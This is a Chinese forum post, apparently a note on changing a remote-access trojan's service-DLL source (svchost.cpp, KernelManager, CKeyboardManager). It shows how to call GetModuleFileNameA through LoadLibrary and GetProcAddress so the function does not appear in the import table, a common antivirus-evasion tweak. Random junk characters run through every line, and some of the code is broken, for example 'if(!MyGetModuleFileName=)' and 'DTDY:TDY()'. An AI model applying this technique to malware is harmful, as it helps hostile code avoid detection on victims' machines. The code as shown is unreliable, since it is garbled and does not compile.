返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记
* [* h5 M' D+ S2 `6 I' Isvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h7 P: k$ t: H% Z8 f* b+ P7 r8 F. \
----------------------------------------, {2 E* M' {# W  r. G% t
DTDY.h:) k3 [; Z) j* E) V
  v3 O1 R1 `  {8 j8 g# K
#if _MSC_VER>1000
! `4 v' E% T3 F#pragma once! G! N! _0 a' {- h/ D" L$ r( [
#endif //_MSC_VER>1000
& i: d! ]; R6 i. {0 v#include<windows.h>
: n- r5 L3 R3 X& ?
5 i  V. l6 X3 H, itypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
& k8 L+ S8 ^+ I! D+ O3 p! Aclass DTDY& P3 b$ ]! j+ B9 s" v4 a5 R
{
' _( {8 V$ I2 h, Upublic:  p$ a4 w$ e7 r# N. T0 F$ c/ b
DTDY();
# F% Q) t. `5 i! m# |; qvirtual ~DTDY();( K* M; M3 h3 q" r6 z" M
public:
- V; f/ k9 i& ~2 ]+ Sstatic pGetModuleFileNameA MyGetModuleFileName;
$ T$ b! T- k. M/ M7 D, l9 fstatic BOOL FunInitiallization();
1 k- H: t& Y5 y: P0 U};
9 Z% v3 u" k$ n8 ?3 N( D#endif
9 P8 I8 A) B. {( f" R----------------------------------------; }+ m# v3 T" N+ F# L
% W8 S0 T- k% ^4 _2 ]  |
DTDY.cpp:
- f' \* y; |3 y6 {1 P4 D  C$ g5 y' c' r4 t/ X7 `+ \
#include "DTDY.h"# A- L* d4 b9 B1 ~" J0 z, f
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;1 _/ Y/ c- u# i. O" t0 k: g0 a
DTDY:TDY()
) f, G' Y. m$ f. b{
! `  r+ h/ R: J+ e( t. ^& j}. d6 m) J* i) V- d
DTDY::~DTDY()
( y+ F3 F8 u: U& A: i{
$ C4 ^8 E4 V! U' H1 ?. }5 J}" f/ H  F0 T% S# @, i$ x# y- v
BOOL DTDY::FunInitiallization()
- E1 o* r7 {2 E5 Y, C{
8 x* u5 G% A5 `HMODULE hModule=LoadLibrary("kernel32.dll");5 h; ]" z5 W8 ]9 y6 X) e; ]4 N& j
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
" q/ M& a* O' Yif(!MyGetModuleFileName=) return FALSE;
' k$ B( i  P! p! c) `7 ]
6 l6 B! g+ \% y$ v/ ^return TRUE;  G" A2 S/ t' S( G& k
}2 B4 i2 m2 v( S. f
----------------------------------------
* @8 N+ H5 X& h* Asvchost.cpp:) R1 p" S: h9 k$ _9 Y: I

. d5 n$ x# O8 G' {# y, J#include "DTDY.h"
! f  Q8 F2 x: x  M! a% F( v" j7 x: K) K7 u" j6 H
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)( h0 P$ P0 R" `( k. C& e
{& z% k/ w3 V0 U+ ^; J2 [+ v
switch(ul_reason_for_call)
- O7 z0 k" j$ m/ U{% A, W0 H# c  S7 ^# Z& F6 Q3 S
case DLL_PROCESS_ATTACH:  h+ L7 F' `: M# K/ z' l1 F+ X
if(!DTDY::FunInitiallization()) return FALSE;# c' w8 A5 l& {& w

+ t# m0 ]. b1 Z. s& _1 G, qbreak;
& i/ C) Y3 N& o% _1 M+ B( i}- A  n  N' F' V( v
}1 C4 }/ c. ~% m/ W6 n

1 L7 O6 D5 h) \$ i, x2 z1 C# z
  T4 B' k4 K/ q4 p  q' }GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def& ^, x# R/ W. T! u8 x" z
改写为' a  N& z( M# ~% `4 }6 m1 |
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));6 w: B) V2 c7 h$ x) c) L2 ~6 C# j8 O
----------------------------------------
- m4 w6 a" ]2 c; s' eKernelManager.cpp:/ m" j: {' K# Q; i3 }

4 P- X2 @' I, @2 w#include "../DTDY.h"8 w7 _. G1 j* F* z2 o- s% m
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));# d# r: w1 s- K
改写为
2 q! ^9 Z# ^* }" K2 IDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
( z+ ]" S- A' A4 O) A* Y----------------------------------------

返回列表